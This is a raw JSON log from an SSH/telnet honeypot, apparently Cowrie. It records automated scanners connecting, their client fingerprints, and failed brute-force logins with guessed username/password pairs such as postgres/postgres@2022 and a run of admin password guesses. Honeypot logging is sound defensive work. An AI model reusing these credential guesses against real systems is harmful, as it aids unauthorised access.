{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:33:55.359970Z","src_ip":"190.181.25.210","session":"7deb23300c4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"1234","message":"login attempt [myuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:33:55.858632Z","src_ip":"190.181.25.210","session":"7deb23300c4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:33:56.986286Z","src_ip":"190.181.25.210","session":"7deb23300c4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":37522,"dst_ip":"10.17.0.5","dst_port":22,"session":"027fc946e582","protocol":"ssh","message":"New connection: 98.70.48.241:37522 (10.17.0.5:22) [session: 027fc946e582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:34:09.082026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:34:09.086176Z","src_ip":"98.70.48.241","session":"027fc946e582","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:34:09.270200Z","src_ip":"98.70.48.241","session":"027fc946e582","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"testuser2020","message":"login attempt [testuser/testuser2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:34:10.039259Z","src_ip":"98.70.48.241","session":"027fc946e582","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:34:11.227187Z","src_ip":"98.70.48.241","session":"027fc946e582","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0048885345459,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:34:25.409857Z","src_ip":"212.55.149.117","session":"cec12591d1d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":65131,"dst_ip":"10.17.0.5","dst_port":23,"session":"1921fd27db67","protocol":"telnet","message":"New connection: 212.55.149.117:65131 (10.17.0.5:23) [session: 1921fd27db67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:34:26.356835Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.241.174.233","src_port":60967,"dst_ip":"159.203.135.109","dst_port":23,"session":"efda519c71eb","protocol":"telnet","message":"New connection: 87.241.174.233:60967 (159.203.135.109:23) [session: efda519c71eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:34:51.811087Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.25.210","src_port":50511,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5e72bdeae1d","protocol":"ssh","message":"New connection: 190.181.25.210:50511 (10.17.0.5:22) [session: c5e72bdeae1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:34:56.051342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:34:56.057357Z","src_ip":"190.181.25.210","session":"c5e72bdeae1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:34:56.178127Z","src_ip":"190.181.25.210","session":"c5e72bdeae1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp_user1","password":"123456","message":"login attempt [ftp_user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:34:56.693332Z","src_ip":"190.181.25.210","session":"c5e72bdeae1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:34:57.816955Z","src_ip":"190.181.25.210","session":"c5e72bdeae1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.212278842926025,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:35:05.023263Z","src_ip":"87.241.174.233","session":"efda519c71eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":38822,"dst_ip":"10.17.0.5","dst_port":23,"session":"8af1fa015923","protocol":"telnet","message":"New connection: 212.55.149.117:38822 (10.17.0.5:23) [session: 8af1fa015923]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:35:06.859202Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.183.192","src_port":53646,"dst_ip":"10.17.0.5","dst_port":23,"session":"1df562858d3d","protocol":"telnet","message":"New connection: 103.153.183.192:53646 (10.17.0.5:23) [session: 1df562858d3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:35:08.981913Z"}
{"eventid":"cowrie.session.closed","duration":0.005990505218505859,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:35:08.987764Z","src_ip":"103.153.183.192","session":"1df562858d3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":42672,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7534bf81d6f","protocol":"ssh","message":"New connection: 98.70.48.241:42672 (10.17.0.5:22) [session: a7534bf81d6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:35:10.318976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:35:10.327818Z","src_ip":"98.70.48.241","session":"a7534bf81d6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:35:10.517407Z","src_ip":"98.70.48.241","session":"a7534bf81d6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"btserver","password":"btserver","message":"login attempt [btserver/btserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:35:11.305454Z","src_ip":"98.70.48.241","session":"a7534bf81d6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:35:12.497599Z","src_ip":"98.70.48.241","session":"a7534bf81d6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.64379262924194,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:35:27.000499Z","src_ip":"212.55.149.117","session":"1921fd27db67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.181.25.210","src_port":58568,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1579d74e9a3","protocol":"ssh","message":"New connection: 190.181.25.210:58568 (10.17.0.5:22) [session: b1579d74e9a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:35:54.678159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:35:54.683120Z","src_ip":"190.181.25.210","session":"b1579d74e9a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:35:54.803652Z","src_ip":"190.181.25.210","session":"b1579d74e9a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres@2022","message":"login attempt [postgres/postgres@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:35:55.311516Z","src_ip":"190.181.25.210","session":"b1579d74e9a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:35:56.434536Z","src_ip":"190.181.25.210","session":"b1579d74e9a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":38139,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a43bc4b344f","protocol":"ssh","message":"New connection: 2.57.121.112:38139 (159.203.135.109:22) [session: 9a43bc4b344f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:01.509351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:01.515559Z","src_ip":"2.57.121.112","session":"9a43bc4b344f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:01.627184Z","src_ip":"2.57.121.112","session":"9a43bc4b344f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"notime","message":"login attempt [admin/notime] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:02.136655Z","src_ip":"2.57.121.112","session":"9a43bc4b344f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"norcal","message":"login attempt [admin/norcal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:03.246352Z","src_ip":"2.57.121.112","session":"9a43bc4b344f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nora","message":"login attempt [admin/nora] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:04.354854Z","src_ip":"2.57.121.112","session":"9a43bc4b344f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nopasswo","message":"login attempt [admin/nopasswo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:05.463788Z","src_ip":"2.57.121.112","session":"9a43bc4b344f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"noone","message":"login attempt [admin/noone] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:06.573746Z","src_ip":"2.57.121.112","session":"9a43bc4b344f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.27070164680481,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:07.129758Z","src_ip":"212.55.149.117","session":"8af1fa015923","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:07.685751Z","src_ip":"2.57.121.112","session":"9a43bc4b344f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":48664,"dst_ip":"10.17.0.5","dst_port":22,"session":"bed04d6ae59c","protocol":"ssh","message":"New connection: 98.70.48.241:48664 (10.17.0.5:22) [session: bed04d6ae59c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:10.701437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:10.707242Z","src_ip":"98.70.48.241","session":"bed04d6ae59c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:10.891529Z","src_ip":"98.70.48.241","session":"bed04d6ae59c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"password","message":"login attempt [gpadmin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:11.658142Z","src_ip":"98.70.48.241","session":"bed04d6ae59c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:12.845336Z","src_ip":"98.70.48.241","session":"bed04d6ae59c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":58830,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b60e7c74120","protocol":"ssh","message":"New connection: 87.251.64.176:58830 (10.17.0.5:22) [session: 2b60e7c74120]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:15.132899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:36:15.138465Z","src_ip":"87.251.64.176","session":"2b60e7c74120","protocol":"ssh"}
